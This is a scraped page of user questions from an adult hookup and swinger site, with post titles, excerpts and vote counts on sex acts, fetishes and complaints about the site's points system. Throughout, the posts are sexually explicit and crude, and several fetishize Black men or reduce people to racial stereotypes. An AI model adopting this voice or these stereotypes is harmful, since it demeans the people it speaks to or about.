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YounggFitt1 32 M
1  question
I have a confession - 10/20/2019

This is for points. Thank you for your time

0 response(s), 0 votes
Who on here really wants to fuck? - 10/20/2019

Seems like alot of mostly cyber bullshit on here? WTF??!? WHERE ARE THE REAL DOMS ?????

58 response(s), 93 votes
rm_Jarhd2841 57 M
1  question
Un Cut - 10/20/2019

I have been comfortable being uncut my entire life. It seems there is a cycle as most things some women will never touch uncut and now many are enthralled by its mystique. For the ladies: 1. Would you suck an uncut cock? Would you fuck uncut? What does it matter if it is wrapped?

21 response(s), 52 votes
Which part of your body do like the most? lol - 10/20/2019

I would say that most people like my smile lol

34 response(s), 45 votes
allsubbottom 71 M
2  questions
gay first meeting date - 10/20/2019

Hi, just met a man on line thats really into me{he is a top and i'm a sub/bottom}, we have chatted on the phone and texted one night for 4.5 hours getting to know me, he is all ready expecting to fuck me on first meeting, is he being to assertive so soon?, or is this common expected first meet/date?

10 response(s), 29 votes
jolielaide 53 F
53  questions
chin up buttercup - 10/20/2019

saw a status update and the man referenced wanting to cum on tits, lips, face, mouth, wherever. and a female replied, love cum all over, just not my face. years ago a guy at work said he wanted to cum on my face. i looked at him like he was nuts. people, why or what is the fascination of cumming on a woman's face?? these are not the kind of 'pearls' i want anywhere near my face. ...

45 response(s), 52 votes
Por que estan en este sitio? - 10/20/2019

Que nos trae aquí?, la calentura, el morbo, el querer tener encuentros, que porcentaje de los que están aca realmente buscan tener sexo uno a uno.

11 response(s), 21 votes
bigcock6061330 45 M
1  question
Love bbc - 10/20/2019

Do white women really love BBC. And Why??

35 response(s), 36 votes
Points - 10/19/2019

Why did they up the to . It really sucks that they did that. Since they did that they should up the of points for all things that you can get points for

23 response(s), 53 votes
Born2BNaughty67 56 M
1  question
Free Gold Membership - 10/19/2019

Does anyone know if Swapfinder.com stopped doing the Free Gold Memberships to members with the most profile views?

28 response(s), 58 votes
Fakes - 10/19/2019

Why are there so many fakes on here? Do they not check any of the profiles.

17 response(s), 36 votes
She Male, transgender, cross dresser - 10/19/2019

I have become extremely curious have a sexual encounter with a transgender, shemale, or a convincing cross dresser. What experiences have others have? How was it? Trying get some input see if it's worth pursuing. So far, very curious.

19 response(s), 35 votes
wacofreakycpl 51 C
2  questions
What is it like to get fucked by an African American man? - 10/19/2019

If you have experienced this, please tell me all about it. I want to try this and see what it's all about.

27 response(s), 52 votes
wacofreakycpl 51 C
2  questions
Why do cross dressers get off on dressing sexy and looking like a woman and being feminine? - 10/19/2019

I would like feed back on this. No answer is wrong. Give me your opinion

21 response(s), 24 votes
When playing online - 10/19/2019

When playing online, what do you like to use: Skype Or something else (please specify) <br><br> I prefer lol

18 response(s), 39 votes
Bi or curious? - 10/18/2019

Are there any guys, or even girls, who are curious about sex with the same sex partner? Has anyone gotten up the nerve enough to actually give it a try? Did you enjoy it? Want to share your experience?

39 response(s), 55 votes
In general - 10/18/2019

Does anyone just add questions just for points. Kinda like this one 😂 😂 😂

14 response(s), 38 votes
Bubbascam19 51 M
1  question
nature pics - 10/18/2019

who likes to be outside nude ?? i wish i could live in a nude world

27 response(s), 40 votes
angelaa62 67 F
1  question
Is there.. ? - 10/18/2019

Is there anything anyone would like to see me write about?

51 response(s), 54 votes
Girls at Hannover - 10/18/2019

Where are all girls in Hannover?

27 response(s), 33 votes
Alucard19er 36 M
1  question
IS it worth to have gold on here? - 10/17/2019

I been wondering why we have have gold on here and cant ready messages we get, i Just like know if its worth or just stay like i am.

30 response(s), 30 votes
Flirts - 10/17/2019

I've been on Swapfinder.com a few times, some times I have even been a gold member. I always find it amazing that of 100 flirts that I receive, 99 of the are from people more than 300+ miles away. I still get them even if I do not post a profile picture. I get flirts from people have no reason be looking at profile, makes wonder if Swapfinder.com isn't sending them at random, so I will upgrade.

23 response(s), 38 votes
ebony4ivoryboys 33 F
2  questions
Big girls love skinny guys but are there any that love us back? - 10/17/2019

I am a big not ashamed say it and i love skinny guys. now i can be self conscience about body and im sure there are other women like that too. but im wondering if there are some sexy skinny guys that like us big girls and why? 

42 response(s), 55 votes
redmin13 24 M
1  question
Why is it 11 points to chat - 10/17/2019

<br><br> .

41 response(s), 46 votes
99cents only store for condoms. - 10/17/2019

I guess you can say I'm a cheap fuck. But I buy most of my condoms at the 99cents only store... Or Dollar Tree. It's like a buck for 12 condoms. I've never had one break. But I've busted through a couple of more expensive Trojans. <br><br> Just goes to show you. <br><br> Who else here buys the cheapos. <br><br> Kimono probably feel the best ...

27 response(s), 44 votes
¿Alguien le da mucho morbo hacer videollamadas por el movil con otra persona? - 10/17/2019

ME da mucho morbo verme con otra persona por el movil ¿os ocurre lo mismo?

6 response(s), 12 votes
Swing Clubs parties - 10/17/2019

Does anyone know of any swing clubs or parties around Ithaca NY. I know it’s rare for them to allow single guys but just curious. If they do allow single guys that would be nice to know 😀

12 response(s), 27 votes
rigbymandan 52 M
1  question
Talk parter into anal - 10/17/2019

How do you convince somebody to try anal sex?

26 response(s), 28 votes
Inhills4fun2 47 C
1  question
People you know - 10/17/2019

What if you come across a profile on here and well their profile is not that discreet and you figure out that you know the people in the "real" world. Do you approach them and say HI? Do you leave it alone? Or what do you think? Not sure if they want to be more discreet or not and if they are not that discreet do you want to say HI? Not sure what to do? Any thoughts?

34 response(s), 33 votes
rocknrough 49 M
1  question
Why do gay men try asking straight guys if they want to play? - 10/17/2019

Never understood that. There isn't a guy in the world that could get me sexually excited so I get confused when you have gay dudes trying to entice straight guys.

20 response(s), 21 votes
oralbottomhere 71 M
2  questions
Question for gay white men - 10/17/2019

As a gay man myself, I was wondering, Why do alot of gay white men perfer to date or see black men?...are they better lovers?..or?

15 response(s), 20 votes
Public - 10/17/2019

Anyone have fun public anymore or is it too risky?

19 response(s), 27 votes
Guys Pretending - 10/17/2019

Why do guys get on here and pretend be women, wtf?

16 response(s), 18 votes
Why all the fakes - 10/17/2019

Are you too scared to actually meet up and do adult things

12 response(s), 10 votes
platinum_gigolo 53 M
5  questions
looking but no chat - 10/16/2019

I'm not looking for advice as much as I'm looking for comments. I would blog this but figured more ppl would see it here. <br><br> I was wondering if anyone else gets GOLD members on here that keep looking at their accounts every time they are on line and you message them and e mail them and they don't respond but the next time you get on line they back looking at your ...

25 response(s), 29 votes
Solfan55 69 M
4  questions
Groups - 10/16/2019

Have any of you participated one or more of the groups have been created here on Swapfinder.com? When I took a look at the ones closest to it appeared they've been dormant for a while. The other thing I noticed is they are populated almost exclusively by members. Is it another one of the many things have diminished over time here on the site?

31 response(s), 41 votes
Younger guys and older men - 10/16/2019

Like a lot of more mature men, I have a desire to connect with a younger man and I think there are young guys who have a desire to be with older. To those younger guys, what is it about an mature man that so attracts you? Have you had some measure of success in finding what you desire?

19 response(s), 46 votes
OralTeachCardiff 46 M
1  question
Is there a female who would enjoy an older younger date? - 10/16/2019

Have you been on a date with a much older or younger male How did it go?

5 response(s), 17 votes
Justlookin19974 50 M
5  questions
Does anyone like to have sex with babyoil? - 10/15/2019

With or without babyoil ?

65 response(s), 81 votes
usorpo1069 51 M
1  question
Travel sex - 10/15/2019

Anyone else find the idea of sex with strangers on vacation to be ?

53 response(s), 71 votes
CestMoi1027 50 T
2  questions
Music to Fuck to? - 10/15/2019

While music is not a necessity, it can be a kink, if you've got the right track. Maybe you even like to take some delicious dirty videos. What music do you add to the edited video (under the moaning and slapping sound of skin of course)? <br><br> So what do you think? Got any song suggestions to fuck to? Got a playlist to share? <br><br> *And to be clear, I'm ...

34 response(s), 71 votes
NorthMNFun 62 M
5  questions
Whats the best way to accumulate points - 10/15/2019

Simple question I guess. thanks

39 response(s), 65 votes
Cratulo 28 M
1  question
Having no luck - 10/15/2019

Does this h

23 response(s), 43 votes
How do you know? - 10/15/2019

It seems Swapfinder.com is more a social media site than one for actually connecting. For those who have had some 'success' in meeting, what has been helpful in discerning who's actually looking and who's on here interact online?

28 response(s), 41 votes
Kaspertroy1 43 M
2  questions
How do I view friends private photo albums - 10/14/2019

Can't seem to look at my friends private pictures

26 response(s), 73 votes
Pics = Points - 10/14/2019

Why do 7 pics uploaded = 80 points when you set up a profile? So much for 200 max points

21 response(s), 60 votes
BeautyLust560 66 F
1  question
Have you ever made love on the beach? - 10/14/2019

I have I went to the beach made nice sexy sex i think it romantic up fellas

45 response(s), 65 votes
BiSussi 62 F
12  questions
Spot a fake - 10/14/2019

How do you spot a fake profile? While it has happen a few times over the years since I am on Swapfinder.com that a lesbian woman with a bi-sexual profile tricked me into it, by claiming her BF and his best friend will join us as well or she also invited a great looking guy, it happened again with a couple profile yesterday. I talked to him, as well as to her the other day, except only a guy showed up ...

34 response(s), 75 votes
joblob65 58 M
3  questions
Gay/bi sauna - 10/14/2019

I've been invited to a gay/bi sauna complex by a guy on this site. I have no idea what to expect, but the thought of it really turns on. What should I expect to experience there? Would I enjoy it? Should I go and give it a try?

17 response(s), 37 votes
Spidey604 46 M
1  question
Cum before a meet up? - 10/14/2019

Do guys like to jerk off before they know they are going to have sex some point during the ? I find that it takes longer to after the first load, so it kinda makes sense, right?

36 response(s), 47 votes
a_silver_tounge 41 M
1  question
Feelings - 10/14/2019

Why do people easily catch feelings? This website is a site to hook up, why do people catch feelings and blow things out of proportion?

18 response(s), 31 votes
maybe1932 70 C
2  questions
Flashing truckers - 10/14/2019

On long trips trips my wife normally reclines her seat and naps along the way. Usually with her feet on the dash. A couple of times we've recieved honks from truckers when her skirt seems to ride up or she's wearing shorts. I wonder how many of you do it intentionally and enjoy it.

30 response(s), 51 votes
women near watertown,ny - 10/14/2019

Any women around watertown interested in actually meeting in person? Not many around since the free chat went away

11 response(s), 30 votes
BiSussi 62 F
12  questions
Pointless - 10/13/2019

If you would have a choice, would you rather receive points which you can use for IM or a dinner at a nice restaurant? Why would you prefer one over the other?

39 response(s), 76 votes
BiSussi 62 F
12  questions
Getting to the point - 10/13/2019

Female or male, I love them both and I do enjoy pleasing them both. So many guys on here who like points, this is why I decided to please them today with my point post. It is a great way to earn points by sharing facts, thoughts or suggestions. After all, it is Sunday and we all should do at least one good deed on a Sunday. What have you done or what will you do today?

33 response(s), 67 votes
TaraLeung 27 F
1  question
Amazing touch🙌 : Thai Massage with TARA 👩🏻I will make you feel like working on Air 🧜‍♀️🧜‍♀️🧜 - 10/13/2019

Hi I’m From Thailand Im very experience with my massage I do Deep tissue, Swedish, Thai and Stretching I’m good at what I do and I’m very friendly and Fun+funny & Are you ready My Love.... guarantee Amazing touch with TARA I will make you feel like Bubble & will make you like working on Air ...

8 response(s), 7 votes
Allforfun69ing 51 M
2  questions
Hope to have fun - 10/13/2019

New here and hoping to have fun and meet a fwb. Dont have time to committ just need some relief. Not sure if any ladies are looking for the .

17 response(s), 41 votes
Why is everyone here? - 10/13/2019

What brought you this site? Just curious survey the field

24 response(s), 40 votes
Goodrocd1 31 M
1  question
Points or pts - 10/13/2019

Points... Yup points is the reasoning behind this question... Don't you wish they hook u up with 1000 pts when you first sign up

25 response(s), 44 votes
platinum_gigolo 53 M
5  questions
Who collecting points? - 10/12/2019

I think they should do a Vid game like sonic the hedge hog on here so some of these free members can make their own points and stop asking for them. LMFAO

30 response(s), 62 votes
do women cum if you eat her ass. - 10/12/2019

So ive never eaten a 's ass before but want . i know it may sound crazy but can you cum from eating ass?

32 response(s), 48 votes
Since the 3 free chats were removed - 10/12/2019

So, is it just , or is everyone noticing that since the 3 free chats have been removed there are many less members on and on cams? The cams are just about dead. The cam "models" with their buzzmode toys have taken it over and nobody watches them anyway. <br><br> I think this place was a lot more fun way back when cams were free to watch, was free, there were no points, you ...

46 response(s), 93 votes
Iceking6996 38 M
4  questions
where are the Michigan ladies at/ - 10/12/2019

I never see ladies from the mitten in the chatrooms, the upper midwest room is almost always full of people from MN, great lakes is just gay men, but Ohio room is constantly filled with women?? where do the MI women flock to i know they are there, and i know they need dick so... any ideas?

10 response(s), 29 votes
Kaspertroy1 43 M
2  questions
Syracuse - 10/12/2019

WTF is everyone bullshit on this site?

18 response(s), 37 votes
rajeew71 50 M
1  question
Who Loves to Have Dip in My Ass? - 10/12/2019

Hey Guys! Do you enjoy sex ass ? Do you want your lady get fucked another man? <br><br> Not Bling Owner.............. So why do you keep procrastinating your desires and fantasy. Go through my profile, status and photos. Be my one of Top Fan. Get in touch with me early in real life. Take my expertise Skin to Skin healing tantric touch. Then let’s cuddle ...

19 response(s), 38 votes
RavonBBD 23 M
2  questions
who wants some bbd - 10/11/2019

I'm just trying to give some ladies that BBD

13 response(s), 20 votes
RavonBBD 23 M
2  questions
Help a BBD Brother gets some points - 10/11/2019

I'm gonna make it simple, like every man im trying to get some pussy and because of my low points, it's hard to reply back when pussy is coming your way. I'm sorry lol im so stupid, but really I really need points and those ladies need some Big Black Dick

14 response(s), 20 votes
Points. I need them. - 10/11/2019

So here I am writing to get some v

34 response(s), 58 votes
Points. I need them. - 10/11/2019

So here I am writing to get some v

11 response(s), 11 votes
guitar9919 52 M
15  questions
anal sex - 10/11/2019

am i bi if i like to stick my big dildo up my anus

36 response(s), 53 votes
guitar9919 52 M
15  questions
anal sex - 10/11/2019

am i bi if i like to stick my big dildo up my anus

3 response(s), 6 votes
guitar9919 52 M
15  questions
anal sex - 10/11/2019

am i bi if i like to stick my big dildo up my anus

2 response(s), 1 vote
guitar9919 52 M
15  questions
gay times - 10/11/2019

want to have my first gay experience is a gay sauna the place to go

15 response(s), 25 votes
guitar9919 52 M
15  questions
gay times - 10/11/2019

want to have my first gay experience is a gay sauna the place to go

0 response(s), 2 votes
guitar9919 52 M
15  questions
masterbating - 10/11/2019

likes to masterbate in public toilets

10 response(s), 26 votes
CestMoi1027 50 T
2  questions
Do you like feathers? - 10/10/2019

How would you use a soft feather during foreplay? I mean, obviously we eventually use it in THOSE places (cock, balls, vagina, ass). But, which other places might use feathers to tease, to entice, to get the body and mind "there"? Your thoughts? Any other toys that might be used in conjucntion to create a delicious experience (cuffs, blindfolds, etc)?

16 response(s), 34 votes
Maxbillion87 37 M
3  questions
Public - 10/10/2019

Do you like having sex in a public place or is it to risky for you

14 response(s), 34 votes
BWcoupleou812 43 C
5  questions
Easy ways to make a girl horny as hell? - 10/10/2019

I know that there are aphrodisiac that definitely work on guys! What makes girls this way? Some sort of food? Medicine? Music? Smells?

32 response(s), 58 votes
BWcoupleou812 43 C
5  questions
Rimming?? - 10/10/2019

Give receive or both?

21 response(s), 33 votes
platinum_gigolo 53 M
5  questions
a little more - 10/10/2019

OK points ppl. lets earn them tips. lol

16 response(s), 32 votes
Allforfun69ing 51 M
2  questions
Points - 10/10/2019

Trying to earn points to chat. Just started here so not sure if worth for yet.

27 response(s), 32 votes
G-spot, how many women are aroused by their g-spot, and to what degree? - 10/10/2019

There seems to be a lot of variation between women on how aroused they become with g-spot stimulation, and what kind of stimulation. I'd like to hear from the women in here about how sensitive your g-spot is and what stimulation technique works best there to get you aroused.

21 response(s), 51 votes
G-spot, how many women are aroused by their g-spot, and to what degree? - 10/10/2019

There seems to be a lot of variation between women on how aroused they become with g-spot stimulation, and what kind of stimulation. I'd like to hear from the women in here about how sensitive your g-spot is and what stimulation technique works best there to get you aroused.

1 response(s), 5 votes
djp014 39 M
2  questions
How’s it going - 10/10/2019

How’s everyone doing

18 response(s), 29 votes
Standard Member IM - 10/10/2019

Can standard members recieve IM's from other standard members? I noticed there is the full website, mobile website which is better and the mobile app. I am a standard member and have had success reaching gold members on IM after earning points just wondered if the same applied standard as well.

21 response(s), 29 votes
FunCple3655 41 C
1  question
How Hard is it to Find a Woman - 10/9/2019

We are looking for a woman to share. How hard is it to find a woman on this site that wants to have sex with a couple?

36 response(s), 47 votes
Gettingerdone2 45 M
1  question
Who cares - 10/9/2019

cares if someone isn't exactly good looking as long as they can fuck

21 response(s), 30 votes
Nawtyfun4me 48 M
1  question
What skin care is best to use after shaving? - 10/9/2019

After you shave, what type of skin care is best to follow up to help avoid itching or bumps etc.?

12 response(s), 25 votes
Theseo00 46 M
6  questions
Women's blogs - 10/9/2019

Why do they mostly post ladies and not guys naked pics?

25 response(s), 23 votes
LADIES - Cut or Uncut - 10/9/2019

Ladies - Do you prefer circumcised or uncircumcised? or doesn't make any difference.

25 response(s), 53 votes
LADIES - Cut or Uncut - 10/9/2019

Ladies - Do you prefer circumcised or uncircumcised? or doesn't make any difference.

2 response(s), 4 votes
Justlookin19974 50 M
5  questions
Hosiery - 10/9/2019

Women, do you prefer seamed or seamless stockings?

32 response(s), 50 votes
Superman4695 35 M
56  questions
Gold privilege? - 10/8/2019

So I saw a profile with status that said anyone can read profile and message me. That's what they are paying for right? Wrong as a standard I clicked on the link to message says have to upgrade to gold so you are getting ripped off. So paying extra and we cant even message them as standards.

28 response(s), 52 votes
TattedH0tRod8069 44 M
1  question
Gfdfgggxsc - 10/8/2019

Black people

9 response(s), 25 votes
What has been successful? - 10/8/2019

What have you found to be a successful approach to connecting with ladies and MF mcouples here on Swapfinder.com?

21 response(s), 39 votes
How many points have you been shorted.. - 10/8/2019

Have been shorted sooo many points from the Swapfinder.com IM. Either does not work, re boots, no answer, . How many of you have experienced the same?

56 response(s), 73 votes
strogen69 52 M
3  questions
Blackmailed? - 10/8/2019

Anyone on here ever been blackmailed by a female? Or tried to be scammed by one?

26 response(s), 41 votes
What do women really want? - 10/8/2019

Do women enjoy sex as much as men do? If so, what type of sex do they really prefer?

36 response(s), 35 votes
prgasms? - 10/8/2019

can men have multiple orgasms less than 5 min apart

25 response(s), 29 votes
Thequarry 46 M
1  question
What do you like leading up to your taco Tuesday? - 10/8/2019

What's do you enjoy stuffing in your taco ?

20 response(s), 32 votes
Public Sex? - 10/8/2019

Where's the riskiest place you've ever done it?

38 response(s), 48 votes
cumoniwnnalayu2 52 M
12  questions
Hotlist - 10/8/2019

According Swapfinder.com standard member can only hotlist 200 members at a time. I only have 74 members in my hotlist! <br><br> So with that being said, I should still be able hotlist 126 members. However everytime I try it get this message <br><br> HOTLIST limit reached! Upgrade gold add more! What is wrong with this site??

20 response(s), 37 votes
Iluvsitwet01 39 M
1  question
points? - 10/8/2019

Is everyone still trying get points like crazy like me?

22 response(s), 20 votes
Vanilla vs Kink - 10/8/2019

When or how did you realize and accept you aren't quite vanilla?

17 response(s), 28 votes
rm_DribbleontoU 52 F
1  question
Pussy Juice...various flavours and texture - 10/8/2019

I have noticed there have been a few discussions on the taste of men's . Similar men's , women's pussy juice also has different tastes. I would like ask both men and women about their different encounters and which they prefer.

27 response(s), 49 votes
cumoniwnnalayu2 52 M
12  questions
Where are all the true redheads? - 10/8/2019

Why is it so hard to find a true redhead on here or anywhere else?

16 response(s), 42 votes
Needhungnowpleas 56 M
1  question
Do women really love anal - 10/8/2019

Most women OK they don’t like to be fucked in the ass the majority of the women I’ve been with one of the asked played with and then after get a fucking ass stretched do you woman secretly love anal let me know

25 response(s), 34 votes
Profile details - 10/7/2019

So, anyone have any good advice regarding profiles that they believe helped them make connections. I know their are certain factors like photos, age, distance but any other things you believe help? Thanks.

17 response(s), 25 votes
Profile details - 10/7/2019

So, anyone have any good advice regarding profiles that they believe helped them make connections. I know their are certain factors like photos, age, distance but any other things you believe help? Thanks.

1 response(s), 6 votes
any females in sheffield want fun - 10/7/2019

are there any fems in sheffield

17 response(s), 34 votes
tom0313 43 M
1  question
que vaut ce site en region rhones alpes? :) - 10/7/2019

juste pour savoir si des personnes de la region rhones alpes sont sur ce site <br><br> à bientôt

8 response(s), 12 votes
Youngandreadie27 31 M
1  question
Gold members - 10/7/2019

Do you gold members there have alot of luck on here? <br><br> I debate getting it but seems like most people don't respond or want meet anyways

34 response(s), 40 votes
Weird - 10/6/2019

Where are the real people area? Lol Any BBC lovers? Women?

20 response(s), 44 votes
Latex allergy - 10/6/2019

How common is a latex allergy? Post if you have or not

21 response(s), 46 votes
hornyRegisgirl 26 F
1  question
Finding a safe partner - 10/6/2019

I'm new to this site. I am very curious and want to explore. I found 1 couple that was amazing. A ton of single guys contact me. I'm interested but cant tell if they are creeps/dangerous or just horny. It seems easier to trust a couple. How do you narrow down to find a good guy?

62 response(s), 94 votes
madmen23570 53 M
1  question
help me pls - 10/6/2019

can anyone ]help me please l have very tiny cock or more clitoris help me

24 response(s), 49 votes
NeedaThickOne45 41 M
1  question
dilemma - 10/5/2019

Would you rather have cake in your ass and a dick in your mouth or would you rather have dick in your ass and cake in your mouth?

25 response(s), 54 votes
RiderMontana 56 M
2  questions
Question about polls - 10/5/2019

Hello, Honestly I started a blog so I could post a poll, but it doesnt show up on the home page if you click polls. Did I not do something correctly or how does Swapfinder.com determine which polls to post there? Is there another place to find the other polls? Thanks for any input

11 response(s), 27 votes
EndlssDsyr 72 M
1  question
Gold Membership . . . does it make a difference? - 10/5/2019

Being offered a 'valued member' offer to upgrade to Gold membership from my current, lowly 'standard' status. <br><br> Like to hear others' comments about the value of going Gold. <br><br> Cheers!

44 response(s), 49 votes
Theseo00 46 M
6  questions
For men - 10/5/2019

Do you practice anal masturbation?

20 response(s), 40 votes
Theseo00 46 M
6  questions
For men - 10/5/2019

Do you practice anal masturbation?

3 response(s), 6 votes
Gay bottom or top, does anyone actually read the profiles? - 10/5/2019

My profile clearly states what I am and what I am need. We're all here to be sexually satisfied, right? I guess I should be complimented that so many want me to top them, but it's not what I need. Should I give up what gives me pleasure to be what someone else wants me to be?

15 response(s), 18 votes
Xnorthernchillx 50 M
1  question
Point system - 10/5/2019

Who else is frustrated by this new point thing

25 response(s), 34 votes
Toys during sex - 10/5/2019

Do most woman like or dislike sucking on a cock while a toy is vibrating inside them?

26 response(s), 35 votes
231spyder 46 M
4  questions
outdoors - 10/5/2019

who prefers some outdoors private sex and do you prefer daytime or late night under the stars

17 response(s), 23 votes
womens tits ladies - 10/5/2019

do women like to have their nips caressed by a beard & mustache?

17 response(s), 28 votes
Thatcher04354 60 M
2  questions
Getting back in the game after medical reasons force stop - 10/5/2019

I have been taking medications that don't allow hard-ons. I know a man can ejaculate without an erection, and I have enjoyed this for what it's worth. What I really want is to be able to penetrate a woman and bring her to O without my tongue and with my cock. I have been getting erect since off the medications but still not hard enough to succeed. I tried Viagra recently and it seemed to ...

11 response(s), 15 votes
Pegging - 10/5/2019

I love being pegged. What does everyone else like about it?

18 response(s), 22 votes
Do you prefer snausage or do you like the baconk ? - 10/5/2019

9 inch snausage links like tight muffins !

4 response(s), 11 votes
What's your favorite sex sound? - 10/5/2019

Okay you fuckin perverts, tell me what you like hearing when bumpin uglies!

45 response(s), 36 votes
Erik8Hard 37 M
1  question
how do you like yours - 10/4/2019

Well it's that easy

15 response(s), 19 votes
Luvs2pleaseU4 55 M
2  questions
Younger women who love older men - 10/4/2019

Ladies what is it about older men that turns you on?!

15 response(s), 33 votes
Theseo00 46 M
6  questions
WHere do you prefer being kissed? - 10/4/2019

Whar part of the body are you more sensitive with?

26 response(s), 36 votes
Where’s the freaks - 10/4/2019

I’m looking for the freaks in NC near Kenly.... where y’all ?

17 response(s), 26 votes
YoyoMore 45 M
2  questions
Why have they made it more difficult - 10/4/2019

There's not enough life where I am to have a full-time gold account but I have always for the occasion subscription or points but am now so frustrated by zero IM access and time wasted for point collection I doubt I ever will again. <br><br> Does anyone else feel similarly?

26 response(s), 36 votes
YoyoMore 45 M
2  questions
Why have they made it more difficult - 10/4/2019

There's not enough life where I am to have a full-time gold account but I have always for the occasion subscription or points but am now so frustrated by zero IM access and time wasted for point collection I doubt I ever will again. <br><br> Does anyone else feel similarly?

1 response(s), 3 votes
Dating - 10/4/2019

why are you like for sexy

13 response(s), 20 votes
Skdkcouple 35 F
1  question
Swingers - 10/4/2019

Any advice on how to connect with a couple with a thicker woman is confident with herself and doesn't get intimated by petite woman and the man that can get hard and stay hard also doesn't get intimated and has confidence?

25 response(s), 36 votes
STorres17 26 M
1  question
Cougars - 10/3/2019

Any older woman into younger guys around the west side of Michigan?

0 response(s), 0 votes
lobogris2018 57 M
1  question
La masturbación mal del hombre? - 10/3/2019

Todos asumen muchas veces que la masturbación es una enfermedad pero en toda mi vida he encontrado que es lo mejor que hay... Que opinan ustedes...

3 response(s), 16 votes
nola4lifers 48 M
1  question
RIDING A BIG COCK - 10/3/2019

thick cocks or longer cocks?

23 response(s), 47 votes
Justguy101 46 M
1  question
Sausage fest - 10/3/2019

Why is there only guys mainly asking questions it feels like sausage fest with no ladies. Gay guys posing as couple

16 response(s), 29 votes
SelectingOption 58 M
3  questions
Not sure what to do ? If anything - 10/3/2019

So i go to the gym on a regular basis and cant deny that i enjoy looking at the women while I work out. Recently i was caught looking at a beautiful woman working out she smiled and acknowledged that she saw me looking at her. She was so hot in her yoga pants and she was working on her legs . So the next day here she was looking even better i said hello and continued my work out but she kept ...

11 response(s), 24 votes
SelectingOption 58 M
3  questions
Not sure what to do ? If anything - 10/3/2019

So i go to the gym on a regular basis and cant deny that i enjoy looking at the women while I work out. Recently i was caught looking at a beautiful woman working out she smiled and acknowledged that she saw me looking at her. She was so hot in her yoga pants and she was working on her legs . So the next day here she was looking even better i said hello and continued my work out but she kept ...

2 response(s), 5 votes
need a cock sucker - 10/3/2019

hey i am looking for a regular cock sucker around tempe its hard find?

18 response(s), 31 votes
Drthickhardcock8 34 M
5  questions
Looking for a mature lady - 10/2/2019

Is there any mature lady in Orlando fl ... will be interested in this meaty cock?

25 response(s), 43 votes
djp014 39 M
2  questions
Hi - 10/2/2019

How’s it going still no luck wish they didn’t change the way this works

21 response(s), 34 votes
Avonsenior 71 M
8  questions
Profiles of couples that change to single member - 10/2/2019

I understand from reading profiles in the past that some people have had a hard time changing the listing from being a couple to a male or female only. Another possible glitch at Swapfinder.com or the person not pushing hard enough to get it done. However if the profile status says that the female is no longer participating Why is it that the pictures listed almost always still has the female prominently ...

28 response(s), 45 votes
cumoniwnnalayu2 52 M
12  questions
Sound off if your a.. - 10/2/2019

Unicorn! Sound off if you have been with a Unicorn? 🦄🦄🦄🦄🦄

20 response(s), 32 votes
520psylckr 42 M
1  question
question for the ladies - 10/1/2019

I'm curious...what are some of the oddest pick up lines that worked on you?

16 response(s), 32 votes
BigJerk5 48 M
2  questions
masturbation bi - 10/1/2019

some years ago I thought id try jacking off with another guy. I posted an ad on cl, I had so many responses. I picked one, we met in a parking lot and I followed him back to his place. I could tell he was nervous, I was too. Excitement was building, as this was all new and kind of a naughty thing to do. I suggested we watch a few videos, , while he was getting his laptop, I undid my pants and ...

29 response(s), 54 votes
Hairy - 10/1/2019

Is there men and women alike that are turned on by the "Bush"???

15 response(s), 31 votes
BigJerk5 48 M
2  questions
masturbation bi - 10/1/2019

some years ago I thought id try jacking off with another guy. I posted an ad on cl, I had so many responses. I picked one, we met in a parking lot and I followed him back to his place. I could tell he was nervous, I was too. Excitement was building, as this was all new and kind of a naughty thing to do. I suggested we watch a few videos, , while he was getting his laptop, I undid my pants and ...

1 response(s), 3 votes
stressless515 50 M
1  question
Time for sexual interaction - 10/1/2019

Ideally, what is the ideal amount of time for a sex, including foreplay?

27 response(s), 40 votes
jswish0330 36 M
2  questions
Nice Guys - 9/30/2019

Where do nice guys fit into the Swapfinder.com equation? If your're really looking for a connection, give the nice guys a chance--you might be delightfully satisfied by the pleasure you receive from someone who appreciates your beauty and wants to satisfy you completely!

34 response(s), 66 votes
TxSheMale21o 104 F
1  question
Is being a Shemale that bad to men to want little more then sexual relationship - 9/30/2019

So I have been getting alot of replies and messages but nothing that is promising at all. I been offered to go out of town the gentlemen would make my way over there. I would not mind something like that all. I just want to find a decent man that would love on this body and suck on me as much as I wanted. The main question to my post is.......why do guys get nervous when we are face to face ? ...

42 response(s), 72 votes
0v3rhere 43 M
1  question
IM advice - 9/30/2019

Is anyone else having problems with IM. Having a conversation then all of a sudden messages stop delivering to the other person

33 response(s), 45 votes
jhoney34562018 28 M
1  question
What does a guy have to do to get a gorgeous woman to fuck - 9/30/2019

Honest question

32 response(s), 41 votes
nrp123456789 58 M
1  question
how many girls are really on this site to meet? - 9/30/2019

This site is heavily weighted to guys and the of fake profiles to keep your interest is probably overwhelming that said how do you know when someone is real?

66 response(s), 75 votes
fam taboo stories?? - 9/29/2019

anyone have any family taboo erotic stories to share?

27 response(s), 41 votes
NewCalCpl2 27 C
3  questions
What's the favorite outfit you prefer your date to wear out? - 9/29/2019

Thanks lol

39 response(s), 44 votes
NewCalCpl2 27 C
3  questions
What's your favorite outfit you like your date to be in? - 9/29/2019

Totally curious lol

16 response(s), 23 votes
newest4g63 38 M
2  questions
Position - 9/29/2019

What position matters most for both to orgasm?

29 response(s), 41 votes
curvy, fit or skinny - 9/29/2019

which would you

46 response(s), 49 votes
curvyspice 34 F
1  question
Sexy and Beautiful - 9/29/2019

what makes one happy, Is it sex or been with the right Partner

68 response(s), 82 votes
Letmesuckitagain 66 M
1  question
I want to bottom. - 9/28/2019

Ive sucked my share of cocks, but not enough 69 and dying to bottom for the right cock. You must host So my question is if I'm just a standard member, and I can't read your emails, can you just give me a time and day or night to meet you on chat site so we can set this up? The right cock has to be cut with a nice thick mushroom head. If you're a tranny, even better. Hint: I love to ...

18 response(s), 37 votes
Newgurl4cock 50 T
1  question
What will get me tips/points - 9/28/2019

Hello there seXXXy people. I've been on cam more lately, and been getting more comfortable with it. When I cam I use my phone's camera set up in my car. Since driving, I can't read comments. When I was done with my last session I read the comments and someone (I won't say who) made the comment "this cam sucks, they do the same thing every time. And have a shity camera". ...

38 response(s), 54 votes
rickshorny64 60 M
2  questions
Scissoring - 9/28/2019

I have heard that scissoring was just somthing made up for porn and that women dont really enjoy it or get off from it. So is that true or is it somthing that you enjoy?

24 response(s), 37 votes
How much long can you eat pussy - 9/28/2019

I m wonder how msny love to be down in between those thight and eat pussy forva long time i know i do

54 response(s), 56 votes
BretPat1972 51 M
5  questions
When is it ok to ask your partner about anal sex? - 9/28/2019

